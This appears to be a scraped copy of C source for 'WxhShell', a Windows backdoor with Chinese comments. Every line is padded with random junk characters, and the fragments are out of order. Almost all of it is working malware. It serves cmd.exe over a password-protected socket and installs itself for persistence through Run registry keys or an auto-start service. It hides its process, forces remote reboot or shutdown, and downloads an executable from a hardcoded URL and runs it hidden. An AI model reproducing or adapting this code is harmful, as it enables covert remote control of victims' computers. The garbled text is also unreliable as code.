    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); STe;Sr&p  
    if(Boot(SHUTDOWN)) o;fQ,r P%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }_ E  
    else { 'mF}+v^   
    closesocket(wsh); ^gG,}GTl  
    ExitThread(0); RMXP)[  
    } h.nzkp5  
    break; *RPI$0  
    } 8CCA/6  
  // 获取shell O);V{1P  
  case 's': { i&Ea@b  
    CmdShell(wsh); *3|KbCX  
    closesocket(wsh); NQmDm!-4  
    ExitThread(0); zx27aZ[  
    break; 3?:}lY<,  
  } Eq t61O$x  
  // 退出 dSbV{*B;>  
  case 'x': { -t]0DsPg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i|*:gH  
    CloseIt(wsh); lI9 3{!+>  
    break; 5s;#C/ZZ  
    } c!zu0\[Id  
  // 离开 W8)GT`\  
  case 'q': { 945psG@|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TO<g@u]*  
    closesocket(wsh); VuGSP]$q  
    WSACleanup(); YpJzRm{Ra  
    exit(1); Hogr#Sn2  
    break; |c) #zSv  
        } ec|IT0;  
  } (U)=t$=o  
  } Nbr{)h  
/9sUp} *  
  // 提示信息 m35G;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZP1EO Z  
} ws=y*7$y  
  } Mvux=Ws  
H_9~gi  
  return; E)Dik`Ccl  
} 1*Z}M%  
.$Y[>9  
// shell模块句柄 ^-DK<jZ^  
int CmdShell(SOCKET sock) 46b.= }  
{ \>+gZc]an  
STARTUPINFO si; K|iNEhuc  
ZeroMemory(&si,sizeof(si)); rS=6d6@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B$)KZR(u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `+U-oqs  
PROCESS_INFORMATION ProcessInfo; t;'__">:q  
char cmdline[]="cmd"; _v-sb(* J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jsuQ R  
  return 0; r_)*/  
} GFvOrRlP\  
BP`UB  
// 自身启动模式 yY}`G-)g~*  
int StartFromService(void) T6tJwSS4:  
{ bcQ$S;U)  
typedef struct U9Sp$$L  
{ *Nv<,Br,F  
  DWORD ExitStatus; Xh ?{%?2  
  DWORD PebBaseAddress; T+I|2HYqOj  
  DWORD AffinityMask; N7|ctO  
  DWORD BasePriority; 6uDNqq  
  ULONG UniqueProcessId; s;>jy/o0 s  
  ULONG InheritedFromUniqueProcessId; , =#'?>Kq  
}   PROCESS_BASIC_INFORMATION; /Z^+K  
co: W!  
PROCNTQSIP NtQueryInformationProcess; 'i}Q R~pe  
[xHK^JP 8F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .^/OL}/~<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ss*dM.b  
STO6cNi  
  HANDLE             hProcess; T3\Q<  
  PROCESS_BASIC_INFORMATION pbi; %#= 1?1s  
#fQStO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8kk$:8  
  if(NULL == hInst ) return 0; J:t1W=lJ3  
j &~OR6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (i {  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xR$xAcoSB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZZ.GpB.  
%0L 9)-R  
  if (!NtQueryInformationProcess) return 0;  $///N+B  
f)>=.sp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }z}oVc  
  if(!hProcess) return 0; W}Z'zU?[  
 0N md*r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K?) &8S  
Y}PI{PN  
  CloseHandle(hProcess);  E;k'bz  
9%|!+!j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .QW89e,O3  
if(hProcess==NULL) return 0; jfk`%C Ek=  
fF ;-d2mF  
HMODULE hMod; Ok9XC <Xu  
char procName[255]; ;as B@Q  
unsigned long cbNeeded; WUKYwA/t  
ri6_u;Ch  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TeQpmhN  
geua8;  
  CloseHandle(hProcess); ^MuO;<<,.  
H.*XoktC]  
if(strstr(procName,"services")) return 1; // 以服务启动 op;OPf,  
>-f`mT  
  return 0; // 注册表启动 k\A8Z[  
} ]"^U  
-Zkl\A$>  
// 主模块 G >bQlZG  
int StartWxhshell(LPSTR lpCmdLine) LXr nAt  
{ JW (.,Ztm  
  SOCKET wsl; >osY?9  
BOOL val=TRUE; +[ !K  
  int port=0; LyH{{+V  
  struct sockaddr_in door; \It8+^d@  
SO9j/  
  if(wscfg.ws_autoins) Install(); 2ACN5lyUS  
L'.7V ~b{  
port=atoi(lpCmdLine); 525W; mu{  
}!x\qpA  
if(port<=0) port=wscfg.ws_port; y^?7de}  
kU0e;r1N  
  WSADATA data; nKT\/}d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l@%MS\{  
YRqIC -_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uD_iyK0,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "1t%J7c_  
  door.sin_family = AF_INET; 7?xTJN)G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rUR{MF&]D  
  door.sin_port = htons(port); O$+0 .  
O)n"a\LD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vdV@G`)HPr  
closesocket(wsl); Z  G3u  
return 1; ihdN{Mx<2  
} Y:XE4v/)@L  
/0IvvD!7N  
  if(listen(wsl,2) == INVALID_SOCKET) { HTA Jn_  
closesocket(wsl); e<#t]V  
return 1; 9 "7(Jq  
} l~.ae,|7  
  Wxhshell(wsl); W$=Ad *  
  WSACleanup(); 8HDYA$L  
( $A0b  
return 0; }KcvNK (  
1^jGSB.%A  
} yHsmX2s  
,3=|a|p  
// 以NT服务方式启动 INZs DM 9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A\X?Aq-^'  
{ :Xq qhG  
DWORD   status = 0; W1fEUVj  
  DWORD   specificError = 0xfffffff; @@M 2s(  
JHC 6l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7.`Fe g.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kr[p4X4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ux:czZqy  
  serviceStatus.dwWin32ExitCode     = 0; @z[,w`  
  serviceStatus.dwServiceSpecificExitCode = 0; 0Z $=2c?xT  
  serviceStatus.dwCheckPoint       = 0; K-vG5t0$\/  
  serviceStatus.dwWaitHint       = 0; fMgB!y"Em  
 rl"$6{Z}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CY"&@v1  
  if (hServiceStatusHandle==0) return; ssj(-\5  
2iO AUo+  
status = GetLastError(); ;/l$&:  
  if (status!=NO_ERROR) LQ(z~M0B  
{ 9%T~^V%T7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }coSMTMv6  
    serviceStatus.dwCheckPoint       = 0; fyaiRn9/  
    serviceStatus.dwWaitHint       = 0; /%fBkA#n  
    serviceStatus.dwWin32ExitCode     = status; <pyLWmO  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~$cz`A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B >2"O  
    return; dY[ XNP  
  } 2[-@ .gH  
: .Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [;~:',vHQf  
  serviceStatus.dwCheckPoint       = 0; qz[qjGdHg  
  serviceStatus.dwWaitHint       = 0; n@>h"(@i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5P'o+Vwz  
} q% *-4GP  
Vz_ac vfk^  
// 处理NT服务事件,比如:启动、停止 b|jdYJbol&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qRi;[`  
{ J8IdQ:4^l  
switch(fdwControl) P5-1z&9O  
{ 0se0AcrW  
case SERVICE_CONTROL_STOP: x \0( l5>  
  serviceStatus.dwWin32ExitCode = 0; {EU?{ #  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z B/#[~  
  serviceStatus.dwCheckPoint   = 0; ,t?c=u\5  
  serviceStatus.dwWaitHint     = 0; "u^%~2  
  { f"i(+:la  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lxz!>JO>  
  } c$fi3O  
  return; |W $epOLg  
case SERVICE_CONTROL_PAUSE: ]:H((rk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l}w9c`f  
  break; RgTm^?Ex  
case SERVICE_CONTROL_CONTINUE: o^ Z/~N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B"KDr_,,  
  break; !'m MGxkEb  
case SERVICE_CONTROL_INTERROGATE: SUGB)vEa  
  break; kHMD5Q  
}; F3 uR:)4<M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fs+ CY  
} uT1xvXfqP  
/1D]\k()  
// 标准应用程序主函数 3X|7 R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j:k}6]p}  
{  j`H5S  
(p6$Vgdt  
// 获取操作系统版本 [k<"@[8)  
OsIsNt=GetOsVer(); V/N:Of:\R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .0ov>4,R  
={'*C7K)oK  
  // 从命令行安装 s0D,n1x  
  if(strpbrk(lpCmdLine,"iI")) Install(); [te9ui%JS  
R k'5L  
  // 下载执行文件  F6'[8f  
if(wscfg.ws_downexe) { 7c.96FA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jeb"t1.$  
  WinExec(wscfg.ws_filenam,SW_HIDE); .C HET]  
} &>%R)?SZh  
nrFuhW\r  
if(!OsIsNt) { J]h$4"  
// 如果时win9x,隐藏进程并且设置为注册表启动 x{'3eJ^8  
HideProc(); BeR7LV  
StartWxhshell(lpCmdLine); AhozrroV  
} ,?k0~fuG6  
else t 0 omJP  
  if(StartFromService()) 0;J#".(KQ  
  // 以服务方式启动 8VWkUsOoI  
  StartServiceCtrlDispatcher(DispatchTable); "K Or)QD/  
else S{uKm1a  
  // 普通方式启动 ` @PHV  
  StartWxhshell(lpCmdLine); 40?xu#"  
<q}w,XU  
return 0; PJ$C$G  
} !\'NBq,  
KCDbE6  
='rSB.$Ctk  
7A,QA5G ]C  
=========================================== n8K FP  
U-]Rm}X\M  
9sQ #v-+Yx  
E: 7R>.g  
?@@BIg-  
EdC^L`::  
" Jm#mC  
}Cs. Hm0P  
#include <stdio.h> &7 0o4~Fr  
#include <string.h> ~ k(4eRq  
#include <windows.h> 3AQu\4+A  
#include <winsock2.h> a ](Jc)  
#include <winsvc.h> 2bnF#-(  
#include <urlmon.h> .,vF% pQ  
M94zlW<  
#pragma comment (lib, "Ws2_32.lib") 3QZ~t#,7ij  
#pragma comment (lib, "urlmon.lib") O>vbAIu  
B8G9V6KS-  
#define MAX_USER   100 // 最大客户端连接数 e6 &-f  
#define BUF_SOCK   200 // sock buffer  sJ3O ]  
#define KEY_BUFF   255 // 输入 buffer xPcH]Gs^b  
J$+K't5BZ  
#define REBOOT     0   // 重启 U??T>  
#define SHUTDOWN   1   // 关机 )NjxKSiU@  
FS+v YqwK  
#define DEF_PORT   5000 // 监听端口 Sd9%tO9mf  
7^hwRZJ{  
#define REG_LEN     16   // 注册表键长度 G+k~k/D6  
#define SVC_LEN     80   // NT服务名长度 1s"/R  
R3dt-v  
// 从dll定义API asj*/eC$/i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >}I BPC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ho^rYz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .[Hv/?L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g~/@`Z2Y  
>Nho`m(  
// wxhshell配置信息 _=g;K+%fb  
struct WSCFG { Nn:>c<[  
  int ws_port;         // 监听端口  "d3qUk  
  char ws_passstr[REG_LEN]; // 口令 wOg?.6<Kxa  
  int ws_autoins;       // 安装标记, 1=yes 0=no Cju%CE3a  
  char ws_regname[REG_LEN]; // 注册表键名 +\D?H.P  
  char ws_svcname[REG_LEN]; // 服务名 {E3329t|'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cs\/6gSCo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >cdxe3I\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IPTEOA<M[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B098/`r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 15)y]N={^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sfUKH;xC  
+jv&V%IL  
}; Y5&mJp\G  
EWZ?q$  
// default Wxhshell configuration 9~lC/I')t  
struct WSCFG wscfg={DEF_PORT, @TqqF:c7  
    "xuhuanlingzhe", E4;@P']`  
    1, P)k!#*  
    "Wxhshell", B{dR/q3;@  
    "Wxhshell", R{0nk   
            "WxhShell Service", q2U8]V U)  
    "Wrsky Windows CmdShell Service", ^:Hx.  
    "Please Input Your Password: ", #ts;s\!  
  1, dPx{9Y<FzU  
  "http://www.wrsky.com/wxhshell.exe", iQ7S*s+l5O  
  "Wxhshell.exe" ))xyaYIZkk  
    }; J =j6rD  
#l<un<  
// 消息定义模块 L&nqlH@+~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )B1gX>J\8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f?[0I\V[$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \YN(rD-  
char *msg_ws_ext="\n\rExit."; BJ,D1E  
char *msg_ws_end="\n\rQuit."; X 8#Uk}/  
char *msg_ws_boot="\n\rReboot..."; 9=FqI50{  
char *msg_ws_poff="\n\rShutdown..."; %jc"s\  
char *msg_ws_down="\n\rSave to ";  A&8{0  
KO''B or  
char *msg_ws_err="\n\rErr!";  |tVWmm^m  
char *msg_ws_ok="\n\rOK!"; >$ok3-tuU  
a"Q>K7K  
char ExeFile[MAX_PATH]; [)S7`K;  
int nUser = 0; Lo-\;%y  
HANDLE handles[MAX_USER]; 1v2pPUH\  
int OsIsNt; 6U!zc]>  
CG397Y^  
SERVICE_STATUS       serviceStatus; T x 6\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3Y6W)$ Q  
Ao}J   
// 函数声明 M"l<::z  
int Install(void); 1:Dm, d;  
int Uninstall(void); "'zVwU  
int DownloadFile(char *sURL, SOCKET wsh); |(Q !$  
int Boot(int flag); "eOFp\vPr  
void HideProc(void); J\fu6Ti  
int GetOsVer(void); 1nAAs;`'  
int Wxhshell(SOCKET wsl); |on$ )vm  
void TalkWithClient(void *cs); S1&Df%Ra  
int CmdShell(SOCKET sock); Y [ p  
int StartFromService(void); o+F]80CH  
int StartWxhshell(LPSTR lpCmdLine); )Co&(;zf  
f0Zn31c^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <>I4wqqb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uu`G<n  
^\Gukkmh}  
// 数据结构和表定义 (w/)u  
SERVICE_TABLE_ENTRY DispatchTable[] = :0o,pndU  
{ SGK=WLGM8  
{wscfg.ws_svcname, NTServiceMain}, sY*iRq  
{NULL, NULL} ]Ac&h aAP  
}; -!JnyD   
\Ng|bWR>LQ  
// 自我安装 3g''j7  
int Install(void) =, WW#tD  
{ _`LQnRp(  
  char svExeFile[MAX_PATH]; tLc 9-  
  HKEY key; =xX)2h  
  strcpy(svExeFile,ExeFile); blHJhB&8  
#OE]'k Ss  
// 如果是win9x系统,修改注册表设为自启动 #\LsM ~,  
if(!OsIsNt) { rh+2 7"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,{rm<M.)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B$)&;Q  
  RegCloseKey(key); BH+@!H3 hf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d4[mR~XXT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Ox|q_E w}  
  RegCloseKey(key); +\@}IKWl-?  
  return 0; w]Byl3}Gt  
    } U) B^R  
  } N{o3w.g  
} E>2~cC*  
else { !b:;O +[  
cZd{K[fuK  
// 如果是NT以上系统,安装为系统服务 %g+*.8;"b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  jcVK4jW  
if (schSCManager!=0) N sNk  
{ 6B .x=  
  SC_HANDLE schService = CreateService `zmj iC  
  ( fBZAO  
  schSCManager, !GL kAV  
  wscfg.ws_svcname, n$z+g>~N  
  wscfg.ws_svcdisp, yWkg4  
  SERVICE_ALL_ACCESS, QO|roE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lf?dTPrD  
  SERVICE_AUTO_START, [l%6wIP&{  
  SERVICE_ERROR_NORMAL, 0g&#hW};[6  
  svExeFile, $Lx2!Zy  
  NULL, Bk)*Z/1<x  
  NULL, [<H'JsJl  
  NULL, |^!  
  NULL, GR ^d/  
  NULL \cKY{(E  
  ); R-\a3q  
  if (schService!=0) "S ~(|G  
  { f:_mrzz  
  CloseServiceHandle(schService); 6r3.%V.&  
  CloseServiceHandle(schSCManager); LH_rc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +#Q\;; FNP  
  strcat(svExeFile,wscfg.ws_svcname); X6`F<H`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /6@iRswa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l*(Ml= O{  
  RegCloseKey(key); AIK99  
  return 0; "z/)> ?Wn  
    } $~s|%>@  
  } h:qt?$]J  
  CloseServiceHandle(schSCManager); %hM8px4d  
} xLp<G(;  
} -Nn@c|fz  
YB&b_On,f  
return 1; 'Bc{N^  
} %D9,Femt  
o:x,zfW  
// 自我卸载 Z'F=Xw6;b  
int Uninstall(void) $22_>OsA  
{ _RI!Z   
  HKEY key; 07FS|>DM'Z  
0!6n  
if(!OsIsNt) { aUVJ\ ;V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^}>Ie03m50  
  RegDeleteValue(key,wscfg.ws_regname); 7%x 3o#&  
  RegCloseKey(key); Dx1w I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F )|0U~  
  RegDeleteValue(key,wscfg.ws_regname); P_{jZ}y(  
  RegCloseKey(key); npD`9ff  
  return 0; &R7N^*He  
  } +&j&es  
} [h;&r"1  
} #MwNyZ  
else { 6Uik>e7?  
ja1WI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZA>p~Zt  
if (schSCManager!=0) Y  c]  
{ (}jYi*B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,dZ&i! @?  
  if (schService!=0) S="teH[  
  { Vy6A]U\%  
  if(DeleteService(schService)!=0) { *RpBKm&^7  
  CloseServiceHandle(schService); /xseI)y.B  
  CloseServiceHandle(schSCManager); wAn}ic".b  
  return 0; WhU-^`[*  
  } ZBX,4kxK7  
  CloseServiceHandle(schService); YN<:k Wu  
  } Q;EQ8pL?"  
  CloseServiceHandle(schSCManager); a9<&|L <  
} :p6.v>s8  
} bm Hl\?  
+2WvGRC  
return 1; H/Wo~$  
} I<v:x Tor  
-kZOve|5  
// 从指定url下载文件 P*M$^p  
int DownloadFile(char *sURL, SOCKET wsh) nm3/-Q},  
{ Q \E [py  
  HRESULT hr; n@"h^-  
char seps[]= "/"; ?~g X7{>  
char *token; ]EhU8bZ  
char *file; (w+dB8 )X  
char myURL[MAX_PATH]; ~ R:=zGDV  
char myFILE[MAX_PATH]; _t+.I9kQ  
\KpSYX1  
strcpy(myURL,sURL); p~h)@  
  token=strtok(myURL,seps); &-s/F`  
  while(token!=NULL) icnc5G  
  { vXA+4 ?ZG  
    file=token; }RT#V8oc  
  token=strtok(NULL,seps); `z?6.+C  
  } I,pI2  
8&0+Az"{O  
GetCurrentDirectory(MAX_PATH,myFILE); k- ?:0  
strcat(myFILE, "\\"); ?mjQN|D  
strcat(myFILE, file); Ba]J3Yp,z  
  send(wsh,myFILE,strlen(myFILE),0); fNkN  
send(wsh,"...",3,0); No1*~EQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [kjmEMF9i  
  if(hr==S_OK) ;g M$%!&  
return 0; w N-np3k  
else RkW)B^#  
return 1; v;r!rZX  
0i4 X,oHjG  
} LZ"yMnhOf  
W%)uKQha  
// 系统电源模块 ebuR-9  
int Boot(int flag) Ki"o0u  
{ B< `'h  
  HANDLE hToken; e{8j(` (;#  
  TOKEN_PRIVILEGES tkp; 9w%|Nk>=>  
X9d~r_2&m<  
  if(OsIsNt) { /61P`1y(J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D{4Ehr "T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xK3 xiR  
    tkp.PrivilegeCount = 1; 0."TSe83\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h.`U)6*?&N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XehpW}2\  
if(flag==REBOOT) { cnrS.s=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `k>h2(@9S  
  return 0; FK8G BkQ!  
} b)5z'zQu  
else { RH=Tu6i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tc_D8Q_  
  return 0; c|s*(WljY  
} ?4]#gC ks  
  } ~;pv &s5}  
  else { UX9r_U5)  
if(flag==REBOOT) { JpFfO<uO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cP4K9:k  
  return 0; 7:Jyu/*]  
} NVTNjDF%s  
else { cvf@B_iN9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YRkp(}*!\  
  return 0; $SP*hkU  
} jf_0IE  
} e2SU)Tr%b  
|+^-b}0  
return 1; }Z|uLXaz  
} 1>doa1  
b :Knc$  
// win9x进程隐藏模块 $7#N@7  
void HideProc(void) Bhy:" r%#  
{ $9}z^sGIM  
P&ig.Og*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 78s:~|WB<{  
  if ( hKernel != NULL ) d" "GG/  
  { [I`r[u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ; FO1b*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QFI8|i@  
    FreeLibrary(hKernel); ,C#Mf@b  
  } ?:Y0#Btj  
3lyk/',  
return; kH!I&4d&  
} hLVS}HE2  
h48JpZ"  
// 获取操作系统版本 :J3ZTyjb  
int GetOsVer(void) x4PH-f-7  
{ RaK fYLw  
  OSVERSIONINFO winfo; Q9lw~"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %f{1u5+5  
  GetVersionEx(&winfo); d2Z kchf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y4%Bx8  
  return 1; +DWmutL  
  else B%v2)+?@  
  return 0; X(-e-:B4;  
} .b4_O CGg  
9.KOrg5}L  
// 客户端句柄模块 :qV}v2  
int Wxhshell(SOCKET wsl) 1_Um6vS#  
{ *0 ;DCUv  
  SOCKET wsh; x*H4o{o0  
  struct sockaddr_in client; \haJe~  
  DWORD myID; FtUOgL)|  
&S}i)Nu6J  
  while(nUser<MAX_USER) TzXivE@mm  
{ [<)/ c>Y  
  int nSize=sizeof(client); )`RF2Y-A7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cxTP4\T\E  
  if(wsh==INVALID_SOCKET) return 1; rz]0i@ehv'  
&^ sgR$m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >K{/Jx&  
if(handles[nUser]==0)  +X i#y}%  
  closesocket(wsh); /t-m/&>  
else +$MNG   
  nUser++; H61 ,pr>  
  } 8oSndfV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $XFiH~GI  
x%ZgLvdp,  
  return 0; qll)  
} ,3G8afo  
[)}F4Jsz%  
// 关闭 socket `;7^@k  
void CloseIt(SOCKET wsh) u,:GJU  
{ (C#9/WO?  
closesocket(wsh); 8>Xyz`$kH  
nUser--; ~jab/cR  
ExitThread(0); _y}]j;e8>{  
} Azx4+`!-  
XEF|B--,  
// 客户端请求句柄 vUGEzCM  
void TalkWithClient(void *cs) N[ %^0T$  
{ (F$V m  
6i/x"vl>  
  SOCKET wsh=(SOCKET)cs; [>P@3t(/  
  char pwd[SVC_LEN]; `A@{})+  
  char cmd[KEY_BUFF]; iH& Izv  
char chr[1]; =T)4Oziks  
int i,j; }/ 6Q3B  
]HP aM  
  while (nUser < MAX_USER) { 1FU(j*~:  
0>Y3>vwSl  
if(wscfg.ws_passstr) { uBLI!N-G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nDnSVrvd-i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4,m aA  
  //ZeroMemory(pwd,KEY_BUFF); <4z |"(  
      i=0; B$aA=+<S  
  while(i<SVC_LEN) { {n8mE,;M  
3^l@!Qw  
  // 设置超时 Hm|8ydNs  
  fd_set FdRead; 6[kp#  
  struct timeval TimeOut; Z 6^AO=3  
  FD_ZERO(&FdRead); =[!&&,c=  
  FD_SET(wsh,&FdRead); \2#>@6Sqrl  
  TimeOut.tv_sec=8; +Zu*9&Cx  
  TimeOut.tv_usec=0; `}gjfu -'\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vn@9Sqk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cq`v8  
B&&:A4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^PIU A'  
  pwd=chr[0]; _}.BZ[i  
  if(chr[0]==0xd || chr[0]==0xa) { MtC\kTW  
  pwd=0; V6Kw71'9  
  break; G(F }o]  
  } q/,>UtRr  
  i++; 53d8AJ_@X  
    } Qvh: hkR  
y^:!]-+  
  // 如果是非法用户,关闭 socket WpE\N0Yg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (J8 (_MF  
} 7A|n*'[T>  
PSz|I8 c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fOEw]B#@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T+7O+X#  
won;tO]\;@  
while(1) { Uk=jQfA*J  
b: UTq 7^  
  ZeroMemory(cmd,KEY_BUFF); [(U:1&x &  
X>^St&B}fC  
      // 自动支持客户端 telnet标准   X4LU/f<f  
  j=0; iJE  $3  
  while(j<KEY_BUFF) { He att?(RR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M<oIo 036  
  cmd[j]=chr[0]; ~G.'pyW  
  if(chr[0]==0xa || chr[0]==0xd) { ohqi4Y!j/~  
  cmd[j]=0; m.ev~Vv~  
  break; a#t:+iw  
  } MPx%#'Q  
  j++; Dbt"}#uit;  
    } 9 |v3lGK(  
\<WRk4D  
  // 下载文件 =n>&Bl-Bl  
  if(strstr(cmd,"http://")) { pIBL85Xe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F)'kN2  
  if(DownloadFile(cmd,wsh)) m,KG}KX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XVcY?_AS#  
  else (LzVWz m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4{JoeIRyz  
  } -J8&!S8X  
  else { sJ[I<  
U:xY~>  
